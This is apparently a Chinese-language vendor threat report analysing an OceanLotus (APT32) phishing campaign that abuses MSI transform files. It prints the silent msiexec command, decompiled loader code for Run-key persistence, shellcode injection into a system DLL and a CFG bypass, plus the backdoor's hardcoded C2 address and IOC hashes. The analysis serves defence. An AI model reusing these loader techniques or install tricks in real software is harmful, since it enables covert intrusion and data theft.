概述
瑞星威胁情报平台近期发现针对国内用户的定向攻击活动,目标主要涉及政府及教育机构等关键领域。攻击者利用MSI TRANSFORMS
技术的新手法,通过在MST
文件中植入恶意载荷,操控MSI
安装程序的执行流程,在安装过程中加载并运行恶意代码。为提升隐蔽性,攻击者采用多阶段加载机制,通过释放和执行内嵌shellcode
的恶意代码,在内存中运行木马,实现对目标主机的信息窃取和远程控制。溯源分析显示,该攻击活动与OceanLotus
组织高度相关,表明其攻击能力显著增强,因此需高度关注并加强防护。
OceanLotus
(海莲花
)又名APT32
、SeaLotus
, 是一个具有东南亚国家背景的APT
组织,其攻击活动最早可追溯到2012
年。自2015
年首次披露以来,该组织持续活跃至今,后续针对中国境内的攻击活动扩展到几乎所有重要机构,包括政府部门、科研院所、境内高校和金融投资机构等。
ATT&CK技术矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 -初始访问 |
T1566 -网络钓鱼 |
向目标用户投递钓鱼邮件 |
TA0002 -执行 |
T1204 -用户执行 |
诱骗用户执行恶意附件 |
TA0003 -持久化 |
T1547 -启动或登陆自动执行 |
创建注册表自启动项实现持久化 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
内存中执行的shellcode 编码后内嵌在恶意载荷 |
TA0005 -防御规避 |
T1055 -进程注入 |
使用进程掏空技术将shellcode 注入到系统进程中执行 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
后门获取入侵主机的系统和硬件信息 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
后门可以枚举文件和目录并将信息回传服务器 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
后门会获取当前会话的用户名并回传至服务器 |
TA0007 -环境发现 |
T1124 -获取系统时间 |
后门可以枚举文件和目录并将信息回传服务器 |
TA0011 -指挥与控制 |
T1573 -加密通道 |
后门与远程服务器进行加密通信 |
TA0010 -自动外传 |
T1041 -通过C2通道外传 |
后门使用C2 通道回传采集的文件数据 |
事件详情
攻击者冒充官方机构,以金砖国家新工业革命伙伴关系专家研讨会
为名,向国内目标单位发送钓鱼邮件,诱导用户运行恶意附件。附件包括诱饵文档参会回执.docx
及伪装为PDF
的镜像文件MIIT-CIETC-IIE-函.pdf .IMG
,后者通过在文件名中插入大量空格增强欺骗性,内含快捷方式及恶意安装文件等载荷。
快捷方式MIIT-CIETC-IIE-函.pdf.lnk
伪装为PDF
文档,诱导用户点击。实际调用msiexec.exe
静默安装WindowsPCHealthCheckSetup.msi
,并通过TRANSFORMS
参数加载文件FActX.mst
。MST
转换文件是用于修改或定制MSI
安装包的配置文件,常用于调整安装过程中的设置、文件路径或注册表项等。然而,在网络安全领域,MST
文件常被攻击者滥用,作为传递恶意载荷的载体。此次事件中攻击者就将恶意载荷Transforms.dll
放置于转换文件FActX.mst
中,在后续安装过程中被执行,完成以下操作:
- 释放诱饵文档以迷惑用户;
- 创建注册表自启动项以实现持久化;
- 释放恶意文件
tbs.dll
,通过安装包的合法程序PCHealthCheck.exe
侧加载运行。
随后,tbs.dll
分阶段执行内嵌shellcode
,在内存中加载定制木马,建立C2
通信,实现数据窃取和持久化控制。
钓鱼邮件内容。
诱饵文档内容。
攻击流程
样本分析
MIIT-CIETC-IIE-函.pdf.lnk分析
字段 | 内容 |
---|---|
文件名 | MIIT-CIETC-IIE-函.pdf.lnk |
文件大小 | 724 B (724 bytes) |
文件MD5 | a792f3de7f49f453576bd8743c626c78 |
文件类型 | LNK |
主要功能 | 安装带有MST转换文件的MSI程序 |
伪装为PDF
的快捷方式MIIT-CIETC-IIE-函.pdf.lnk
执行命令msiexec /qn /i WindowsPCHealthCheckSetup.msi TRANSFORMS=FActX.mst
,调用系统程序msiexec.exe
静默安装合法WindowsPCHealthCheckSetup.msi
,并通过TRANSFORMS
参数加载FActX.mst
。攻击者利用MSI TRANSFORMS
技术,使FActX.mst
中的恶意载荷Transforms.dll
可以在合法安装流程中隐蔽运行。
Transforms.dll分析
字段 | 内容 |
---|---|
文件名 | Transforms.dll |
文件大小 | 1.84 MB (1932288 bytes) |
文件MD5 | 6725c332b0fe684fbc94df399ab726bc |
病毒名 | Dropper.Agent/x64!1.12DE7 |
文件类型 | DLL |
主要功能 | 释放恶意DLL并利用白加黑技术加载执行 |
该样本的主要功能分布于两个导出函数中,分别为LogSetupBeforeInstall
和LogSetupAfterInstall
,用来控制MSI
安装过程中的流程。其中函数LogSetupBeforeInstall
负责释放诱饵PDF
文档,用以迷惑用户。而另一个函数LogSetupAfterInstall
则负责释放恶意文件tbs.dll
,并调用白文件侧加载执行,最后通过创建注册表启动项实现本地持久化。
创建注册表项实现持久化。
strcpy(v94, "PCHealthCheck"); // 启动项名称
v93 = 13;
String = (wchar_t *)v91;
v4 = (char *)malloc_18005E3A0(0x40u);
strcpy(v4, "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
String = (wchar_t *)v4;
v91[0] = 63;
v90 = 63;
sub_180001740((__int64)&String, (unsigned __int64 *)&v92, 1u, &Str);// 创建注册表自启动项
tbs.dll分析
字段 | 内容 |
---|---|
文件名 | tbs.dll |
文件大小 | 1.05 MB (1099776 bytes) |
文件MD5 | 963448d96d81138413f192dd80558d76 |
病毒名 | Trojan.Kryptik/x64!1.12E3F |
文件类型 | DLL |
主要功能 | 执行内嵌的shellcode |
该样本为本次事件中最终释放的恶意载荷,负责分阶段执行内嵌的shellcode
。为规避内存检测机制,该样本通过映射系统库文件,将内嵌的shellcode
复制到其内存空间中执行,提高了执行权限及隐蔽性。
在内存中加载执行内嵌的shellcode
。
strcpy(&v54[0].m128i_i8[8], "xpsservices.dll"); // 用于执行shellcode的系统dll
dll_name = &v54[0].m128i_u64[1];
v54[0].m128i_i64[0] = 15;
v6 = sub_7FFF17A40F50(&dll_name, (__int64)v49, (void **)&v39);// 将shellcode复制到xpsservices.dll的.text段中,并修改内存属性为可执行
if ( dll_name != &v54[0].m128i_u64[1] )
j_j_free_0(dll_name);
if ( v49[0] != v50 )
j_j_free_0(v49[0]);
if ( v6 )
{
v7 = 0;
for ( i = 0; v7 < v41; i = v7 )
{
sub_7FFF17A37710((__int64)v39 + i); // 调用函SetProcessValidCallTargets将shellcode中的函数标记为合法调用目标,否则相关函数执行时,系统会触发异常。
v7 += 16;
}
v39(i); // 跳转执行shellcode
goto LABEL_25; // 释放内存空间
}
加载系统程序xpsservices.dll
,该程序的text
段内存空间用于存放下阶段执行的shellcode
。
v29 = v16_LoadLibrary(*a1, 0, 1); // 加载xpsservices.dll,用于执行shellcode
v40 = v29;
if ( !v29 )
return 0;
v30 = v29 + *(int *)(v29 + 0x3C);
v31 = *(_DWORD *)v30 == 'EP';
v32 = *(unsigned __int16 *)(v30 + 0x14);
strcpy(Str2, ".tex_"); // 字符串".tex_"用于定位dll的.text段内存地址
if ( !v31 )
return 0;
v33 = *(unsigned __int16 *)(v30 + 6);
if ( !(_WORD)v33 )
return 0;
v34 = v30 + v32 + 0x18;
v35 = v34 + 40LL * (unsigned int)(v33 - 1) + 0x28;
while ( 1 )
{
v24 = strcmp((const char *)v34, Str2); // 查找xpsservices.dll的.text字符串
if ( !v24 )
{
v36 = *(_QWORD *)(a2 + 8);
if ( v36 < *(unsigned int *)(v34 + 8) && v36 < *(unsigned int *)(v30 + 0x50) )
break;
}
v34 += 0x28;
if ( v35 == v34 )
return 0;
}
v37 = *(unsigned int *)(v34 + 0xC);
v43[0] = *(_QWORD *)(a2 + 8);
*a3 = (void *)(v37 + v40);
CurrentProcess = GetCurrentProcess();
if ( v28_ZwProtectVirtualMemory(CurrentProcess, a3, v43, 4, &v41) >= 0 )// 修改内存保护属性为0x4,表示可写
{
memcpy(*a3, *(const void **)a2, *(_QWORD *)(a2 + 8));// 将shellcode复制到上述修改属性的内存中
v39 = GetCurrentProcess();
return v28_ZwProtectVirtualMemory(v39, a3, v43, 0x40, &v41) >= 0;// 修改内存属性为0x40,表示可读写、可执行
}
调用函数SetProcessValidCallTargets
将shellcode
所在的内存地址标记为合法的调用目标,以实现CFG
绕过。
ZwQueryVirtualMemory_func = (unsigned int (__fastcall *)(__int64, __int64, _QWORD, __int64 *, __int64, _QWORD))GetProcAddress_7FFF052B32E0(v20, 3216240092LL);
v23_GetCurrentProcess = (__int64 (*)(void))GetProcAddress_7FFF052B32E0(v11, 1357659462);
v24_SetProcessValidCallTargets = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64 *))GetProcAddress_7FFF052B32E0(v11, 0x51047AF5);
if ( v23_GetCurrentProcess == 0 || ZwQueryVirtualMemory_func == 0 )
return 0;
if ( !v24_SetProcessValidCallTargets )
return 0;
v29 = 0;
v30 = 0;
v25 = v23_GetCurrentProcess();
if ( ZwQueryVirtualMemory_func(v25, a1, 0, v31, 0x30, 0) || v32 != 0x1000 || v33 != 0x1000000 )
return 0;
v30 = 1;
v26 = v31[0];
v29 = a1 - v31[0];
v27 = v31[3];
v28 = v23_GetCurrentProcess();
return v24_SetProcessValidCallTargets(v28, v26, v27, 1, &v29);// 将shellcode地址标记为合法的调用目标
中间shellcode分析
字段 | 内容 |
---|---|
文件大小 | 780 KB (799,152 bytes) |
文件MD5 | 36ccfc5e629cfc83c45c43807a79cd4b |
病毒名 | Trojan.Kryptik/x64!1.12E3F |
文件类型 | shellcode |
主要功能 | 解码并执行内嵌的shellcode木马 |
本次事件中,攻击者使用多阶段加载的方式在内存中执行shellcode
,该段shellcode
由恶意载荷tbs.dll
在内存中解码后执行,主要负责解码自身内嵌的shellcode
并执行。
shellcode后门分析
字段 | 内容 |
---|---|
文件大小 | 1.82 MB (1,912,832 bytes) |
文件MD5 | 28ee71e370e61ac4925dca3edb8658a9 |
病毒名 | Backdoor.[OceanLotus]Agent!1.12E32 |
文件类型 | shellcode |
主要功能 | 与C2服务器通信 |
这是由OceanLotus
组织使用rust
语言编写的定制木马,本次攻击事件中被彻底shellcode
化,从而在内存中动态执行以提高隐蔽性。
C2
地址及User-Agent
信息以硬编码形式存储于木马中,同时包含本地环境代理字符串。
seg000:000001BBD7C5B431 48 8D 15 90 9C 07 00 lea rdx, aHttp4637124147 ; "http://46.37.124.147:80/api/products/v1"...
seg000:000001BBD7C5B438 48 8D 0D 21 35 1A 00 lea rcx, qword_1BBD7DFE960
seg000:000001BBD7C5B43F 48 89 E5 mov rbp, rsp
seg000:000001BBD7C5B442 41 57 push r15
seg000:000001BBD7C5B444 41 56 push r14
seg000:000001BBD7C5B446 41 55 push r13
seg000:000001BBD7C5B448 45 31 ED xor r13d, r13d
seg000:000001BBD7C5B44B 41 54 push r12
seg000:000001BBD7C5B44D 57 push rdi
seg000:000001BBD7C5B44E 56 push rsi
seg000:000001BBD7C5B44F 53 push rbx
seg000:000001BBD7C5B450 48 83 EC 10 sub rsp, 10h
seg000:000001BBD7C5B454 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
seg000:000001BBD7C5B458 48 81 EC B0 02 00 00 sub rsp, 2B0h
seg000:000001BBD7C5B45F 0F 11 B4 24 B0 02 00 00 movups xmmword ptr [rsp+2B0h], xmm6
seg000:000001BBD7C5B467 48 8D BC 24 90 00 00 00 lea rdi, [rsp+90h]
seg000:000001BBD7C5B46F 4C 8D A4 24 80 00 00 00 lea r12, [rsp+80h]
seg000:000001BBD7C5B477 E8 24 10 13 00 call copy_str_1BBD7D8C4A0
seg000:000001BBD7C5B47C 48 8D 0D DD B3 07 00 lea rcx, qword_1BBD7CD6850+10h
seg000:000001BBD7C5B483 E8 68 F2 11 00 call strlen_1BBD7D7A6F0
seg000:000001BBD7C5B488 48 8D 15 91 9C 07 00 lea rdx, aMozilla50Windo ; "Mozilla/5.0 (Windows NT 10.0; Win64; x6"...
seg000:000001BBD7C5B48F 48 8D 0D 0A E5 17 00 lea rcx, qword_1BBD7DD99A0
seg000:000001BBD7C5B496 E8 05 10 13 00 call copy_str_1BBD7D8C4A0
seg000:000001BBD7C5B49B 48 8D 0D BE 94 11 00 lea rcx, loc_1BBD7D74960
seg000:000001BBD7C5B4A2 E8 49 F2 11 00 call strlen_1BBD7D7A6F0
seg000:000001BBD7C5B4A7 48 8D 8C 24 00 01 00 00 lea rcx, [rsp+100h]
seg000:000001BBD7C5B4AF 48 8D 15 E8 9C 07 00 lea rdx, aHttpProxy ; "%HTTP_PROXY%"
seg000:000001BBD7C5B4B6 E8 E5 0F 13 00 call copy_str_1BBD7D8C4A0
根据上述C2
域名解析IP
地址。
攻击过程可视化(EDR)
瑞星EDR
记录主机程序活动并划分危险等级,其威胁可视化功能可还原攻击链,清晰展示关联关系,尤其突出恶意载荷执行阶段。例如,快捷方式MIIT-CIETC-IIE-函.pdf.lnk
点击后运行msiexec.exe
命令,静默安装并释放诱饵PDF
文档,同时通过PCHealthCheck.exe
侧加载tbs.dll
,随后在内存中执行shellcode
木马,与C2
服务器建立连接,所有行为均被EDR
完整记录。
另外,瑞星EDR
系统还引入了AI
分析功能,对程序执行记录进行自主分析,并得出完整且准确的报告。
总结
此次攻击手法隐蔽性强,结合了社会工程学、文件伪装、MST
文件滥用及内存多阶段加载等技术,进一步体现了OceanLotus
组织攻击能力的升级,需引起高度警惕。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
-
及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
2DA7798E8F7FBEAFEFBD297E3BE5B21B 6725C332B0FE684FBC94DF399AB726BC 963448D96D81138413F192DD80558D76 36CCFC5E629CFC83C45C43807A79CD4B 28EE71E370E61AC4925DCA3EDB8658A9
-
IPV4
46.37.124.147
-
瑞星病毒名
Backdoor.[OceanLotus]Agent!1.12E32